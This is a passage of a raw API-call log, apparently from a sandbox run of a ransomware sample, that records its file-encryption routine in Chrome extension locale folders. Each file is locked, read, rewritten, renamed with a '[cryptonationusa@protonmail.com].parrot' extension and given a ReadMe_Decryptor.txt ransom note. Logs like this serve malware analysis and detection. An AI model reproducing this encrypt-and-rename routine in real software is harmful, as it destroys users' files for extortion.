(HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.422] GetLastError () returned 0x0 [0070.422] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da238 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.423] WriteFile (in: hFile=0x28c, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0070.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0070.424] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.424] CloseHandle (hObject=0x28c) returned 1 [0070.424] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da238 [0070.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.425] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67b3e0 | out: hHeap=0x5b0000) returned 1 [0070.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0070.429] GetFileType (hFile=0x28c) returned 0x1 [0070.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.478] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb775af00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb775af00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.478] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb775af00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.478] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.478] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.478] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.479] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.479] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.479] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.479] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.479] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.479] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.479] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.479] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.480] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.480] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xda, lpOverlapped=0x0) returned 1 [0070.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0070.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.480] GetLastError () returned 0x0 [0070.480] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da218 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.481] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x69a250 [0070.481] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.481] WriteFile (in: hFile=0x28c, lpBuffer=0x69a250*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69a250*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0070.482] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.482] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.482] CloseHandle (hObject=0x28c) returned 1 [0070.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da218 [0070.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.483] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67b568 | out: hHeap=0x5b0000) returned 1 [0070.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0070.487] GetFileType (hFile=0x28c) returned 0x1 [0070.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.497] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.497] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb77f3480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb77f3480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.497] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb77f3480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.497] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.497] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.498] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.498] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.498] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.498] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.498] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.498] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.498] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.498] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.500] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.500] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.500] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.501] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.501] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcf, lpOverlapped=0x0) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.501] GetLastError () returned 0x0 [0070.501] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.501] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0070.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.502] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.502] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 